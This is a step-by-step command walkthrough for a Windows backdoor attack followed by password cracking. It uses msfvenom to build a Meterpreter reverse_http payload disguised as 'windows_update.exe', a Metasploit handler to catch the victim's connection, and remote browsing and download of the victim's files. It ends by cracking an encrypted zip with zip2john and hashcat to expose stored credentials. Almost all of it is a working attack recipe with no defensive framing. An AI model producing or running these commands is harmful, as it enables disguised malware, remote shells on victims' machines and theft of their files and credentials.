Backdoor Access & Encrypted File Cracking

msfvenom --payload windows/x64/meterpreter/reverse_http lhost=[IP] lport=[PORT] --format exe --out windows_update.exe

Generates a disguised Windows executable payload, named to appear as a legitimate system update.

msfconsole

Launches the Metasploit Framework console.

use exploit/multi/handler

Loads the generic handler module used to catch any incoming payload connection.

set payload windows/x64/meterpreter/reverse_http

Matches the handler's payload type to the one embedded in the backdoor.

set lhost [IP]

Sets the attacker's listening IP address.

set lport [PORT]

Sets the listening port — must match the port used during payload creation.

exploit -j -z

Starts the listener as a background job, waiting for the victim to execute the file.

sessions -l

Lists all active Meterpreter sessions.

sessions [id]

Interacts with a specific session.

ls

Lists files in the current remote directory.

cd [folder]

Navigates the victim's filesystem to locate sensitive files.

download [file]

Transfers the target file from the compromised machine back to the attacker's system.

zip2john [file].zip

Extracts a crackable hash from an encrypted zip archive.

zip2john [file].zip | cut -d ':' -f 2 > hash.txt

Isolates only the hash portion needed for cracking, saving it to a file.

hashcat --identify hash.txt [wordlist]

Confirms the exact hash mode before running the attack, since some formats have multiple sub-variants.

hashcat -m [mode] hash.txt [wordlist]

Attempts to recover the plaintext password using dictionary attack.

-

The hash is successfully cracked — status shows 'Cracked' and the recovered password (tinkerbell) appears directly in the output.

-

The recovered password is used to unlock the encrypted archive, confirming the crack was valid.

-

The decrypted file's contents are revealed, exposing the victim's stored credentials — the end goal of the attack.